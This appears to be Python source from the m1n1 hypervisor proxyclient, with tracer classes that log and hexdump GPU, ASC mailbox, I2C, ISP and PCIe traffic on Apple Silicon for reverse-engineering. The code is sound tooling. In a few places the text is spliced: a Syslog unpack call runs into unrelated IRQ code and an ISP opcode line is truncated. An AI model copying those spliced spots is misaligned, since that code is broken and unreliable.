self.log(f" struct6 @ {cmd3d.struct6_addr:#x}: {cmd3d.struct6!s}") #self.log(f" unknown_buffer @ {cmd3d.struct6.unknown_buffer:#x}:") #chexdump(read(cmd3d.struct6.unknown_buffer, 0x1000), print_fn=self.log) self.log(f" struct7 @ {cmd3d.struct7_addr:#x}: {cmd3d.struct7!s}") self.log(f" unk_buf_ptr @ {cmd3d.unk_buf_ptr:#x}:") chexdump(kread(cmd3d.unk_buf_ptr, 0x11c), print_fn=self.log) self.log(f" unk_buf2_ptr @ {cmd3d.unk_buf2_ptr:#x}:") chexdump(kread(cmd3d.unk_buf2_ptr, 0x18), print_fn=self.log) for i in wi1.microsequence.value: i = i.cmd if i.__class__.__name__ != "Finalize3DCmd": continue self.log(f" Finalize:") cmdfin = i #self.log(f" completion:") #chexdump(kread(cmdfin.completion, 0x4), print_fn=self.log) # self.log(f" unkptr_1c @ {cmdfin.unkptr_1c:#x}:") # chexdump(kread(cmdfin.unkptr_1c, 0x1000), print_fn=self.log) #self.log(f" unkptr_24 @ {cmdfin.unkptr_24:#x}:") #chexdump(kread(cmdfin.unkptr_24, 0x100), print_fn=self.log) # self.log(f" unkptr_34 @ {cmdfin.unkptr_34:#x}:") # chexdump(kread(cmdfin.unkptr_34, 0x1000), print_fn=self.log) # self.log(f" unkptr_3c @ {cmdfin.unkptr_3c:#x}:") # chexdump(kread(cmdfin.unkptr_3c, 0x1c0), print_fn=self.log) # self.log(f" unkptr_44 @ {cmdfin.unkptr_44:#x}:") # chexdump(kread(cmdfin.unkptr_44, 0x40), print_fn=self.log) # self.log(f" unkptr_64 @ {cmdfin.unkptr_64:#x}:") # chexdump(kread(cmdfin.unkptr_64, 0x118), print_fn=self.log) #self.log(f" buf_thing @ {wi1.buf_thing_addr:#x}: {wi1.buf_thing!s}") #self.log(f" unkptr_18 @ {wi1.buf_thing.unkptr_18:#x}:") #chexdump(read(wi1.buf_thing.unkptr_18, 0x1000), print_fn=self.log) self.dump_buffer_manager(wi1.buffer_mgr, kread, read) #self.log(f" unk_emptybuf @ {wi1.unk_emptybuf_addr:#x}:") #chexdump(kread(wi1.unk_emptybuf_addr, 0x1000), print_fn=self.log) #self.log(f" tvb_addr @ {wi1.tvb_addr:#x}:") #chexdump(read(wi1.tvb_addr, 0x1000), print_fn=self.log) def handle_compute(self, wi): self.log("Got Compute Work Item") self.last_cp = wi if wi.cmd.magic == 4: wi4 = wi.cmd #self.log(f" completion_buf @ {wi4.completion_buf_addr:#x}: {wi4.completion_buf!s} ") #chexdump(kread(wi4.completion_buf_addr, 0x1000), print_fn=self.log) elif wi.cmd.magic == 3: wi3 = wi.cmd def kread(off, size): return self.uat.ioread(0, off, size) context = wi3.context_id ci2 = wi3.compute_info2 def read(off, size): return self.uat.ioread(context, off, size) self.log(f" encoder end = {ci2.encoder_end:#x}") chexdump(read(ci2.encoder_end, 0x400), print_fn=self.log) self.log(f" context_id = {context:#x}") self.log(" high page:") chexdump(read(0x6fffff8000, 0x4000), print_fn=self.log) if getattr(wi3, "compute_info", None): ci = wi3.compute_info self.log(f" encoder = {ci.encoder:#x}") chexdump(read(ci.encoder, 0x4000), print_fn=self.log) self.log(f" deflake:") chexdump(read(ci.iogpu_deflake_1, 0x8000), print_fn=self.log) if False:#ci.compute_layout_addr != 0: layout = ComputeLayout.parse_stream(self.get_stream(context, ci.compute_layout_addr)) self.log(f" Layout:") self.log(f" unk_0: {layout.unk_0:#x}") self.log(f" unk_4: {layout.unk_4}") self.log(f" blocks_per_core: {layout.blocks_per_core}") self.log(f" unk_28: {layout.unk_28}") self.log(f" core list: {list(layout.core_list)}") for core in range(8): self.log(f" Core {core}") for i in range(layout.blocks_per_core): row = layout.work_lists[core][i] first = row[0] if not first & 1: self.log(f" [{i:3d}] Missing?") else: bits = len(bin(first)[::-1].split("0")[0]) mask = ~((1 << bits) - 1) block_size = 0x400 << (2 * (bits - 1)) s = [((i & mask) << 8) for i in row if i & 1] self.log(f" [{i:3d}] block={block_size:#x} | {' '.join(map(hex, s))}") for j, block in enumerate(s): self.log(f" Block {j}") chexdump(read(block, block_size), print_fn=self.log) def ignore(self, addr=None): if addr is None: addr = self.last_msg.cmdqueue_addr self.ignorelist += [addr & 0xfff_ffffffff] def kick(self, val): if not self.state.active: return self.log(f"kick~! {val:#x}") self.mon.poll() if val == 0x10: # Kick Firmware self.log("KickFirmware, polling") self.uat.invalidate_cache() for chan in self.channels: chan.poll() return if val == 0x11: # Device Control channel = 12 self.uat.invalidate_cache() elif val < 0x10: type = val & 3 assert type != 3 priority = (val >> 2) & 3 channel = type + priority * 3 self.uat.invalidate_cache() else: raise(Exception("Unknown kick type")) self.channels[channel].poll() ## if val not in [0x0, 0x1, 0x10, 0x11]: #if self.last_msg and isinstance(self.last_msg, (RunCmdQueue, DeviceControl_17)): #self.hv.run_shell() #self.last_msg = None # check the gfx -> cpu channels for chan in self.channels[13:]: chan.poll() def fwkick(self, val): if not self.state.active: return self.log(f"FW Kick~! {val:#x}") self.mon.poll() if val == 0x00: # Kick FW control channel = len(self.channels) - 1 else: raise(Exception("Unknown kick type")) self.channels[channel].poll() # check the gfx -> cpu channels for chan in self.channels[13:]: chan.poll() def pong(self): if not self.state.active: return self.log("pong~!"); self.mon.poll() # check the gfx -> cpu channels for chan in self.channels[13:]: chan.poll() def trace_uatrange(self, ctx, start, size, name=None, off=0): start &= 0xfff_ffffffff ranges = self.uat.iotranslate(ctx, start, size) iova = start for range in ranges: pstart, psize = range if pstart: self.log(f"trace {name} {start:#x}/{iova:#x} [{pstart:#x}:{psize:#x}] +{off:#x}") self.hv.add_tracer(irange(pstart, psize), f"GPUVM", mode=TraceMode.ASYNC, read=self.event_gpuvm, write=self.event_gpuvm, iova=iova, paddr=pstart, name=name, base=start - off) iova += psize def untrace_uatrange(self, ctx, start, size): ranges = self.uat.iotranslate(ctx, start, size) for range in ranges: start, size = range if start: self.hv.del_tracer(irange(start, size), f"GPUVM") def dump_va(self, ctx): data = b'' dataStart = 0 def dump_page(start, end, i, pte, level, sparse): if i == 0 or sparse: if len(data): chexdump32(data, dataStart) data = b'' dataStart = 0 if MemoryAttr(pte.AttrIndex) != MemoryAttr.Device and pte.OS: if dataStart == 0: dataStart = start data += self.uat.ioread(0, start, 0x4000) self.uat.foreach_page(0, dump_page) if len(data): chexdump32(data, dataStart) def init_state(self): super().init_state() self.state.active = True self.state.initdata = None self.state.channel_info = [] self.state.channels = {} self.state.queues = {} self.state.queue_seq = 0 def init_channels(self): if self.channels: return #self.channels = [] for i, chan_info in enumerate(self.state.channel_info): print(channelNames[i], chan_info) if channelNames[i] == "Stats": # ignore stats continue elif channelNames[i] == "KTrace": # ignore KTrace continue elif channelNames[i] == "FWCtl": channel_chan = FWCtlChannelTracer(self, chan_info, i) else: channel_chan = ChannelTracer(self, chan_info, i) self.channels.append(channel_chan) def pause(self): self.clear_gpuvm_tracers() if self.state.initdata is None: return self.clear_uatmap_tracers() self.clear_ttbr_tracers() self.log("Pausing tracing") self.state.active = False for chan in self.channels: chan.set_active(False) for queue in self.cmdqueues.values(): queue.set_active(False) for info_addr in self.state.queues: self.state.queues[info_addr].rptr = None self.untrace_uatrange(0, self.state.initdata.regionA_addr, 0x4000) self.untrace_uatrange(0, self.state.initdata.regionB_addr, 0x6bc0) self.untrace_uatrange(0, self.state.initdata.regionC_addr, 0x11d40) def resume(self): self.add_gpuvm_tracers() self.add_uatmap_tracers() self.add_ttbr_tracers() if self.state.initdata is None: return self.log("Resuming tracing") self.state.active = True for chan in self.channels: if chan.name == "Stats": continue chan.set_active(True) for queue in self.cmdqueues.values(): queue.set_active(True) self.trace_uatrange(0, self.state.initdata.regionA_addr, 0x4000, name="regionA") self.trace_uatrange(0, self.state.initdata.regionB_addr, 0x6bc0, name="regionB") #self.trace_uatrange(0, self.state.initdata.regionC_addr, 0x11d40, name="regionC") self.trace_uatrange(0, self.state.initdata.regionB.buffer_mgr_ctl_addr, 0x4000, name="Buffer manager ctl") def add_mon_regions(self): return initdata = self.state.initdata if initdata is not None: self.mon_addva(0, initdata.regionA_addr, 0x4000, "RegionA") self.mon_addva(0, initdata.regionB_addr, 0x6bc0, "RegionB") self.mon_addva(0, initdata.regionC_addr, 0x11d40, "RegionC") #self.mon_addva(0, initdata.regionB.unkptr_170, 0xc0, "unkptr_170") #self.mon_addva(0, initdata.regionB.unkptr_178, 0x1c0, "unkptr_178") #self.mon_addva(0, initdata.regionB.unkptr_180, 0x140, "unkptr_180") self.mon_addva(0, initdata.regionB.unkptr_190, 0x80, "unkptr_190") self.mon_addva(0, initdata.regionB.unkptr_198, 0xc0, "unkptr_198") self.mon_addva(0, initdata.regionB.buffer_mgr_ctl_addr, 0x4000, "Buffer manager ctl") self.mon_addva(0, initdata.unkptr_20.unkptr_0, 0x40, "unkptr_20.unkptr_0") self.mon_addva(0, initdata.unkptr_20.unkptr_8, 0x40, "unkptr_20.unkptr_8") def clear_gpuvm_range(self, ctx, iova, length): while length > 0: page = iova & ~0x3fff off = iova & 0x3fff block = min(0x4000 - off, length) page &= 0xfffffffffff print(f"Clear {ctx} {page:#x} {block:#x}") paddr = self.va_to_pa.get((ctx, page), None) if paddr: print(f" pa {paddr + off:#x}") self.hv.del_tracer(irange(paddr + off, block), f"GPUVM/{ctx}") length -= block iova += block def clear_stats_tracers(self): if not self.state.initdata: return self.clear_gpuvm_range( 0, self.state.initdata.regionB.channels.Stats.state_addr, 0x30) self.clear_gpuvm_range( 0, self.state.initdata.regionB.channels.Stats.ringbuffer_addr, 0x100 * StatsSize) def pong_init(self, addr): self.log("UAT at init time:") self.uat.invalidate_cache() self.uat.dump(0, log=self.log) addr |= 0xfffff000_00000000 initdata = InitData.parse_stream(self.get_stream(0, addr)) self.log("Initdata:") self.log(initdata) self.add_mon_regions() self.clear_stats_tracers() #self.initdata.regionB.mon(lambda addr, size, name: self.mon_addva(0, addr, size, name)) self.state.initdata_addr = addr self.state.initdata = initdata self.state.channel_info = [] self.state.fwlog_ring2 = initdata.regionB.fwlog_ring2 channels = initdata.regionB.channels for i in channelNames: if i == "FWCtl": chan_info = initdata.fw_status.fwctl_channel else: chan_info = channels[i] self.state.channel_info.append(chan_info) self.init_channels() self.mon.poll() self.log("Initial commands::") for chan in self.channels: chan.poll() self.log("Init done") self.log("Mon regions") self.mon.show_regions(log=self.log) if self.skip_asc_tracing: super().stop() if self.pause_after_init: self.log("Pausing tracing") self.pause() self.stop() if self.after_init_hook: self.after_init_hook() if self.shell_after_init: self.hv.run_shell() ChannelTracer = ChannelTracer._reloadcls() m1n1-1.4.11/proxyclient/m1n1/trace/asc.py000066400000000000000000000173361453754430200177450ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from enum import IntEnum from ..hv import TraceMode from ..utils import * from . import ADTDevTracer from ..hw.asc import * class DIR(IntEnum): RX = 0 TX = 1 def msg(message, direction=None, regtype=None, name=None): def f(x): x.is_message = True x.direction = direction x.message = message x.regtype = regtype x.name = name return x return f def msg_log(*args, **kwargs): def x(self, msg): return False return msg(*args, **kwargs)(x) def msg_ign(*args, **kwargs): def x(self, msg): return True return msg(*args, **kwargs)(x) class EPState(object): pass class EP(object): NAME = None BASE_MESSAGE = None def __init__(self, tracer, epid): self.tracer = tracer self.epid = epid self.present = False self.started = False self.name = self.NAME or type(self).__name__.lower() self.state = EPState() self.hv = self.tracer.hv self.msgmap = {} for name in dir(self): i = getattr(self, name) if not callable(i) or not getattr(i, "is_message", False): continue self.msgmap[i.direction, i.message] = getattr(self, name), name, i.regtype def log(self, msg): self.tracer.log(f"[{self.name}] {msg}") def start(self): pass def handle_msg(self, direction, r0, r1): msgtype = None if self.BASE_MESSAGE: r0 = self.BASE_MESSAGE(r0.value) msgtype = r0.TYPE handler = None name = "" regtype = None msgids = [ (direction, msgtype), (None, msgtype), (direction, None), (None, None), ] for msgid in msgids: handler, name, regtype = self.msgmap.get(msgid, (None, None, None)) if handler: break if regtype is not None: r0 = regtype(r0.value) if handler: if handler.name is not None: name = handler.name if handler(r0): return True d = ">" if direction == DIR.TX else "<" self.log(f"{d}{msgtype:#x}({name}) {r0.value:016x} ({r0.str_fields()})") return True class EPContainer(object): pass class BaseASCTracer(ADTDevTracer): DEFAULT_MODE = TraceMode.SYNC REGMAPS = [ASCRegs, None] NAMES = ["asc", None] ENDPOINTS = {} def w_OUTBOX_CTRL(self, val): self.log(f"OUTBOX_CTRL = {val!s}") def w_INBOX_CTRL(self, val): self.log(f"INBOX_CTRL = {val!s}") def w_CPU_CONTROL(self, val): self.log(f"CPU_CONTROL = {val!s}") def w_INBOX1(self, inbox1): inbox0 = self.asc.cached.INBOX0.reg if self.verbose >= 2: self.log(f"SEND: {inbox0.value:016x}:{inbox1.value:016x} " + f"{inbox0.str_fields()} | {inbox1.str_fields()}") self.handle_msg(DIR.TX, inbox0, inbox1) def r_OUTBOX1(self, outbox1): outbox0 = self.asc.cached.OUTBOX0.reg if self.verbose >= 2: self.log(f"RECV: {outbox0.value:016x}:{outbox1.value:016x} " + f"{outbox0.str_fields()} | {outbox1.str_fields()}") self.handle_msg(DIR.RX, outbox0, outbox1) def init_state(self): self.state.ep = {} def handle_msg(self, direction, r0, r1): if r1.EP in self.epmap: if self.epmap[r1.EP].handle_msg(direction, r0, r1): return d = ">" if direction == DIR.TX else "<" self.log(f"{d}ep:{r1.EP:02x} {r0.value:016x} ({r0.str_fields()})") def ioread(self, dva, size): if self.dart: return self.dart.ioread(self.stream, dva & 0xFFFFFFFFF, size) else: return self.hv.iface.readmem(dva, size) def iowrite(self, dva, data): if self.dart: return self.dart.iowrite(self.stream, dva & 0xFFFFFFFFF, data) else: return self.hv.iface.writemem(dva, data) def start(self, dart=None, stream=0): super().start() self.dart = dart self.stream = stream self.msgmap = {} for name in dir(self): i = getattr(self, name) if not callable(i) or not getattr(i, "is_message", False): continue self.msgmap[i.direction, i.endpoint, i.message] = getattr(self, name), name, i.regtype self.epmap = {} self.ep = EPContainer() for cls in type(self).mro(): eps = getattr(cls, "ENDPOINTS", None) if eps is None: break for k, v in eps.items(): if k in self.epmap: continue ep = v(self, k) ep.dart = dart ep.stream = stream self.epmap[k] = ep if k in self.state.ep: ep.state.__dict__.update(self.state.ep[k]) self.state.ep[k] = ep.state.__dict__ if getattr(self.ep, ep.name, None): ep.name = f"{ep.name}{k:02x}" setattr(self.ep, ep.name, ep) ep.start() # System endpoints ## Management endpoint from ..fw.asc.mgmt import ManagementMessage, Mgmt_EPMap, Mgmt_EPMap_Ack, Mgmt_StartEP, Mgmt_SetAPPower, Mgmt_SetIOPPower, Mgmt_IOPPowerAck class Management(EP): BASE_MESSAGE = ManagementMessage HELLO = msg_log(1, DIR.RX) HELLO_ACK = msg_log(2, DIR.TX) @msg(5, DIR.TX, Mgmt_StartEP) def StartEP(self, msg): ep = self.tracer.epmap.get(msg.EP, None) if ep: ep.started = True self.log(f" Starting endpoint #{msg.EP:#02x} ({ep.name})") else: self.log(f" Starting endpoint #{msg.EP:#02x}") #return True Init = msg_log(6, DIR.TX) @msg(8, DIR.RX, Mgmt_EPMap) def EPMap(self, msg): for i in range(32): if msg.BITMAP & (1 << i): epno = 32 * msg.BASE + i ep = self.tracer.epmap.get(epno, None) if ep: ep.present = True self.log(f" Adding endpoint #{epno:#02x} ({ep.name})") else: self.log(f" Adding endpoint #{epno:#02x}") EPMap_Ack = msg_log(8, DIR.TX, Mgmt_EPMap_Ack) SetIOPPower = msg_log(6, DIR.TX, Mgmt_SetIOPPower) SetIOPPowerAck = msg_log(7, DIR.TX, Mgmt_IOPPowerAck) SetAPPower = msg_log(0x0b, DIR.TX, Mgmt_SetAPPower) SetAPPowerAck = msg_log(0x0b, DIR.RX, Mgmt_SetAPPower) ## Syslog endpoint from ..fw.asc.syslog import SyslogMessage, Syslog_Init, Syslog_GetBuf, Syslog_Log class Syslog(EP): BASE_MESSAGE = SyslogMessage @msg(8, DIR.RX, Syslog_Init) def Init(self, msg): self.state.count = msg.COUNT self.state.entrysize = msg.ENTRYSIZE @msg(1, DIR.RX, Syslog_GetBuf) def GetBuf(self, msg): if msg.DVA: self.state.syslog_buf = msg.DVA @msg(1, DIR.TX, Syslog_GetBuf) def GetBuf_Ack(self, msg): self.state.syslog_buf = msg.DVA @msg(5, DIR.RX, Syslog_Log) def Log(self, msg): buf = self.state.syslog_buf stride = 0x20 + self.state.entrysize log = self.tracer.ioread(buf + msg.INDEX * stride, stride) hdr, unk, context, logmsg = struct.unpack(f"= 2 or x in self.PIN_NAMES] if len(pins): self.log(f"IRQ[{grp}] ACT {pins}") def w_IRQ_GROUP(self, val, index): (grp, index) = index if int(val) == 0: return pins = [self.pn(x) for x in bits32(val, index * 32) if self.verbose >= 2 or x in self.PIN_NAMES] if len(pins): self.log(f"IRQ[{grp}] ACK {pins}") m1n1-1.4.11/proxyclient/m1n1/trace/i2c.py000066400000000000000000000137201453754430200176450ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..hv import TraceMode from ..utils import * from ..hw import i2c from . import ADTDevTracer class I2CTracer(ADTDevTracer): DEFAULT_MODE = TraceMode.ASYNC REGMAPS = [i2c.I2CRegs] NAMES = ["i2c"] def __init__(self, hv, devpath, verbose=False): super().__init__(hv, devpath, verbose=verbose) self.default_dev = I2CDevTracer() self.default_dev.i2c_tracer = self def init_state(self): self.state.txn = [] self.state.devices = {} def w_MTXFIFO(self, mtxfifo): if self.state.txn is None: self.state.txn = [] d = mtxfifo.DATA if mtxfifo.START: self.state.txn += ["S"] if mtxfifo.READ: self.state.txn += [None] * d else: self.state.txn.append(d) if mtxfifo.STOP: self.state.txn.append("P") self.flush_txn() def r_MRXFIFO(self, mrxfifo): if mrxfifo.EMPTY: self.log(f"Read while FIFO empty") return if not self.state.txn: self.log(f"Stray read: {mrxfifo}") return try: pos = self.state.txn.index(None) self.state.txn[pos] = mrxfifo.DATA except ValueError: self.log(f"Stray read: {mrxfifo}") self.flush_txn() def flush_txn(self): if not self.state.txn: return if self.state.txn[-1] != "P": return if not any(i is None for i in self.state.txn): self.handle_txn(self.state.txn) self.state.txn = None def handle_txn(self, txn): st = False dev = self.default_dev read = False for i in txn: if i == "S": st = True continue if st: addr = i >> 1 dev = self.state.devices.get(addr, self.default_dev) read = bool(i & 1) dev.start(addr, read=read) elif i == "P": dev.stop() elif read: dev.read(i) else: dev.write(i) st = False def add_device(self, addr, device): device.hv = self.hv device.i2c_tracer = self self.state.devices[addr] = device class I2CDevTracer(Reloadable): def __init__(self, addr=None, name=None, verbose=True): self.addr = addr self.name = name self.verbose = verbose self.txn = [] def log(self, msg, *args, **kwargs): if self.name: msg = f"[{self.name}] {msg}" self.i2c_tracer.log(msg, *args, **kwargs) def start(self, addr, read): self.txn.append("S") if read: self.txn.append(f"{addr:02x}.r") else: self.txn.append(f"{addr:02x}.w") def stop(self): self.txn.append("P") if self.verbose: self.log(f"Txn: {' '.join(self.txn)}") self.txn = [] def read(self, data): self.txn.append(f"{data:02x}") def write(self, data): self.txn.append(f"{data:02x}") class I2CRegCache: def __init__(self): self.cache = {} def update(self, addr, data): self.cache[addr] = data def read(self, addr, width): data = self.cache.get(addr, None) if data is None: print(f"I2CRegCache: no cache for {addr:#x}") return data def write(self, addr, data, width): raise NotImplementedError("No write on I2CRegCache") class I2CRegMapTracer(I2CDevTracer): REGMAP = RegMap ADDRESSING = (0, 1) def __init__(self, verbose=False, **kwargs): super().__init__(verbose=verbose, **kwargs) self._cache = I2CRegCache() self.regmap = self.REGMAP(self._cache, 0) self.page = 0x0 self.reg = None self.regbytes = [] self.npagebytes, nimmbytes = self.ADDRESSING self.pageshift = 8 * nimmbytes self.paged = self.npagebytes != 0 def _reloadme(self): self.regmap._reloadme() return super()._reloadme() def start(self, addr, read): if not read: self.reg = None self.regbytes = [] super().start(addr, read) def stop(self): super().stop() def handle_addressing(self, data): if self.reg is not None: return False self.regbytes.append(data) if len(self.regbytes)*8 >= self.pageshift: immediate = int.from_bytes(bytes(self.regbytes), byteorder="big") self.reg = self.page << self.pageshift | immediate return True @property def reg_imm(self): '''Returns the 'immediate' part of current register address''' return self.reg & ~(~0 << self.pageshift) def handle_page_register(self, data): if not self.paged: return False if self.reg_imm >= self.npagebytes: return False shift = 8 * self.reg_imm self.page &= ~(0xff << shift) self.page |= data << shift return True def write(self, data): if self.handle_addressing(data): return elif self.handle_page_register(data): pass else: self.regwrite(self.reg, data) self.reg += 1 super().write(data) def read(self, data): if self.reg_imm >= self.npagebytes: self.regread(self.reg, data) self.reg += 1 super().read(data) def regwrite(self, reg, val): self.regevent(reg, val, False) def regread(self, reg, val): self.regevent(reg, val, True) def regevent(self, reg, val, read): self._cache.update(reg, val) r, index, rcls = self.regmap.lookup_addr(reg) val = rcls(val) if rcls is not None else f"{val:#x}" regname = self.regmap.get_name(reg) if r else f"{reg:#x}" t = "R" if read else "W" self.log(f"REG: {t.upper()}.8 {regname} = {val!s}") m1n1-1.4.11/proxyclient/m1n1/trace/isp.py000066400000000000000000000226351453754430200177700ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from . import ADTDevTracer from .dart import DARTTracer from ..hv import TraceMode from ..utils import * from ..hw.isp import * from ..fw.isp import * from ..fw.isp.isp_opcodes import * class ISPCommandDirection(IntEnum): RX = 0 TX = 1 def opcode2name(opcode): if opcode_dict and (opcode in opcode_dict): return opcode_dict[opcode] return "CISP_CMD_UNK_%04x" % (opcode) class ISPCommand: def __init__(self, chan, msg, direction): self.arg0, self.arg1, self.arg2, self.arg3, self.arg4, self.arg5, self.arg6, self.arg7 = struct.unpack("<8q", msg.data) self.iova = self.arg0 & ~3 self.msg = msg self.chan = chan self.direction = direction self.tracer = chan.tracer def dump(self): self.log(f"[CMD arg0: {hex(self.arg0)}, arg1: {hex(self.arg1)}, arg2: {hex(self.arg2)}]") def read_iova(self, iova, size): return self.tracer.dart.ioread(0, iova, size) def log(self, msg): if self.direction == ISPCommandDirection.RX: self.tracer.log(f"<== [{self.chan.name}]({self.msg.index}): {msg}") else: self.tracer.log(f"==> [{self.chan.name}]({self.msg.index}): {msg}") class ISPTerminalCommand(ISPCommand): # Broken as of 13.5.2 def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) def dump(self): super().dump() class ISPIOCommand(ISPCommand): def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) self.contents = self.read_iova(self.iova, max(self.arg1, 8)) def dump(self): if self.iova: opcode = struct.unpack("> 32 self.log(f"[IO iova: {hex(self.iova)}, insize: {hex(self.arg1)}, outsize: {hex(self.arg2)} -> opcode: {hex(opcode)} {opcode2name(opcode)}]") self.log("IO struct: ") try: chexdump32(self.contents, print_fn=self.log) except struct.error: chexdump(self.contents, print_fn=self.log) class ISPT2HBufferCommand(ISPCommand): def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) self.contents = self.read_iova(self.iova, 0x280) def dump(self): super().dump() if self.contents: self.log("BUF_T2H struct:") chexdump32(self.contents, print_fn=self.log) class ISPH2TBufferCommand(ISPCommand): def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) self.contents = self.read_iova(self.iova, 0x4000) #self.contents = None def dump(self): super().dump() if self.contents: self.log("BUF_H2T struct:") chexdump32(self.contents, print_fn=self.log) class ISPT2HIOCommand(ISPCommand): def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) def dump(self): super().dump() class ISPSharedMallocCommand(ISPCommand): def __init__(self, chan, msg, direction): super().__init__(chan, msg, direction) def dump(self): if not self.arg0: try: name = struct.pack(">Q", self.arg2).decode() except UnicodeDecodeError: name = "UNICODE-GARBAGE-%08x" % (self.arg2) self.log("[Malloc REQ: size: 0x%x, name: %s]" % (self.arg1, name)) else: self.log("[Free REQ: iova: 0x%x, index: 0x%x]" % (self.arg0, self.arg2)) class ISPChannelTable: def __init__(self, tracer, num_chans, table_iova): self.tracer = tracer self.table_iova = table_iova self.num_chans = num_chans self.desc_size = ISPIPCChanTableDescEntry.sizeof() chans = [] table_data = self.tracer.ioread(table_iova, num_chans*self.desc_size) for n in range(num_chans): entry = table_data[n*self.desc_size:(n+1)*self.desc_size] x = ISPIPCChanTableDescEntry.parse(entry) chan = ISPTracerChannel(self.tracer, x.name, x.type, x.src, x.num, x.iova) chans.append(chan) self.chans = chans def get_last_rx_commands(self, val): for chan in self.chans: if (chan.type == 1): chan.get_last_commands(ISPCommandDirection.RX) def get_last_tx_commands(self, doorbell): for chan in self.chans: if (chan.doorbell == doorbell): chan.get_last_commands(ISPCommandDirection.TX) class ISPTracerChannel(ISPChannel): def __init__(self, isp, name, _type, src, num, iova): super().__init__(isp, name, _type, src, num, iova) # init as 'tracer' self.tracer = isp def __convert2command__(self, msg, direction): if self.name == "TERMINAL": return ISPTerminalCommand(self, msg, direction) elif self.name == "IO" or self.name == "DEBUG": return ISPIOCommand(self, msg, direction) elif self.name == "SHAREDMALLOC": return ISPSharedMallocCommand(self, msg, direction) elif self.name == "BUF_T2H": return ISPT2HBufferCommand(self, msg, direction) elif self.name == "BUF_H2T": return ISPH2TBufferCommand(self, msg, direction) elif self.name == "IO_T2H": return ISPT2HIOCommand(self, msg, direction) else: return ISPCommand(self, msg, direction) def get_last_commands(self, direction): cmds = [] # collect asap for n in range(self.num): pos = (self.cursor + n) % self.num dat = self.tracer.ioread(self.iova + (self.entry_size * pos), self.entry_size) msg = ISPChannelMessage.parse(dat, index=pos) if (not msg.valid()): self.cursor = pos break else: cmd = self.__convert2command__(msg, direction) cmds.append(cmd) for cmd in cmds: cmd.dump() def __str__(self): return f"[{str(self.name)}: src={self.src!s} type={self.type!s} num={self.num!s} iova={hex(self.iova)!s})" class ISPTracer(ADTDevTracer): DEFAULT_MODE = TraceMode.SYNC REGMAPS = [ISPRegs] NAMES = ["isp"] def __init__(self, hv, dev_path, dart_dev_path, verbose): super().__init__(hv, dev_path, verbose) hv.p.pmgr_adt_clocks_enable(dart_dev_path) self.dart_tracer = DARTTracer(hv, dart_dev_path, verbose=0) self.dart_tracer.start() self.dart = self.dart_tracer.dart self.iova_base = 0 chip_id = hv.adt["/chosen"].chip_id if 0x6020 <= chip_id <= 0x6fff: self.iova_base = 0x100_0000_0000 self.ignored_ranges = [ (0x22c0e8000, 0x4000), # dart 1 (0x22c0f4000, 0x4000), # dart 2 (0x22c0fc000, 0x4000), # dart 3 (0x3860e8000, 0x4000), # dart 1 (0x3860f4000, 0x4000), # dart 2 (0x3860fc000, 0x4000), # dart 3 (0x22c4a8000, 0x4000), # dart 1 (0x22c4b4000, 0x4000), # dart 2 (0x22c4bc000, 0x4000), # dart 3 ] self.table = None self.num_chans = 0 def r_ISP_GPIO_0(self, val): self.log("ISP_GPIO_0 r32: 0x%x" % (val.value)) if val.value == 0x8042006: self.log(f"ISP_GPIO0 = ACK") elif val.value == 0xf7fbdff9: self.log(f"ISP_GPIO0 = NACK?") elif val.value < 64: self.log(f"ISP_IPC_CHANNELS = {val!s}") self.num_chans = val.value elif val.value > 0: self.log(f"IPC BASE IOVA: {val!s}") self.ipc_iova = val.value # self.dart_tracer.trace_range(0, irange(val.value | self.iova_base, 0x40000)) self.table = ISPChannelTable(self, self.num_chans, val.value) self.log("======== CHANNEL TABLE ========") for chan in self.table.chans: self.log(f"ISPIPC: {str(chan)}") self.log("======== END OF CHANNEL TABLE ========") r_ISP_GPIO_0_T8112 = r_ISP_GPIO_0 def r_ISP_IRQ_INTERRUPT(self, val): #self.log("ISP_IRQ_INTERRUPT r32: 0x%x" % (val.value)) #self.log(f"======== BEGIN IRQ ========") self.table.get_last_rx_commands(int(val.value)) #self.log(f"======== END IRQ ========") r_ISP_IRQ_INTERRUPT_T8112 = r_ISP_IRQ_INTERRUPT def w_ISP_IRQ_DOORBELL(self, val): #self.log("ISP_IRQ_DOORBELL w32: 0x%x" % (val.value)) #self.log(f"======== BEGIN DOORBELL ========") self.table.get_last_tx_commands(int(val.value)) #self.log(f"======== END DOORBELL ========") w_ISP_IRQ_DOORBELL_T8112 = w_ISP_IRQ_DOORBELL def w_ISP_GPIO_0(self, val): self.log("ISP_GPIO_0 w32: 0x%x" % (val.value)) if (val.value >= 0xe00000) and (val.value <= 0x1100000): # dunno self.log("ISP bootargs at 0x%x:" % val.value) bootargs = self.dart.ioread(0, val.value | self.iova_base, 0x200) # justt in case chexdump32(bootargs, print_fn=self.log) x = ISPIPCBootArgs.parse(bootargs[:ISPIPCBootArgs.sizeof()]) self.log(x) w_ISP_GPIO_0_T8112 = w_ISP_GPIO_0 def ioread(self, iova, size): iova |= self.iova_base return self.dart.ioread(0, iova, size) def iowrite(self, iova, data): iova |= self.iova_base return self.dart.iowrite(0, iova, data) def start(self): super().start() for addr, size in self.ignored_ranges: self.trace(addr, size, TraceMode.OFF) m1n1-1.4.11/proxyclient/m1n1/trace/pcie.py000066400000000000000000000070261453754430200201120ustar00rootroot00000000000000from . import Tracer, TraceMode from ..utils import * class R_BAR(Register32): BASE = 31, 4 PREFETCH = 3 ADDR64 = 2 BELOW_1M = 1 SPACE = 0 class PCICfgSpace(RegMap): VENDOR_ID = 0x00, Register16 PRODUCT_ID = 0x02, Register16 COMMAND = 0x04, Register16 STATUS = 0x06, Register16 REV_CLASS = 0x08, Register32 HDR_TYPE = 0x0e, Register8 BAR = irange(0x10, 6, 4), R_BAR ROMADDR = 0x30, Register32 CAP_PTR = 0x34, Register32 class PCIeDevTracer(Tracer): CFGMAP = PCICfgSpace BARMAPS = [] NAMES = [] PREFIXES = [] def __init__(self, hv, apcie, bus, dev, fn, verbose=False): super().__init__(hv, verbose=verbose, ident=f"{type(self).__name__}@{apcie}/{bus:02x}:{dev:02x}.{fn:1x}") self.busn = bus self.devn = dev self.fn = fn self.ecam_off = (bus << 20) | 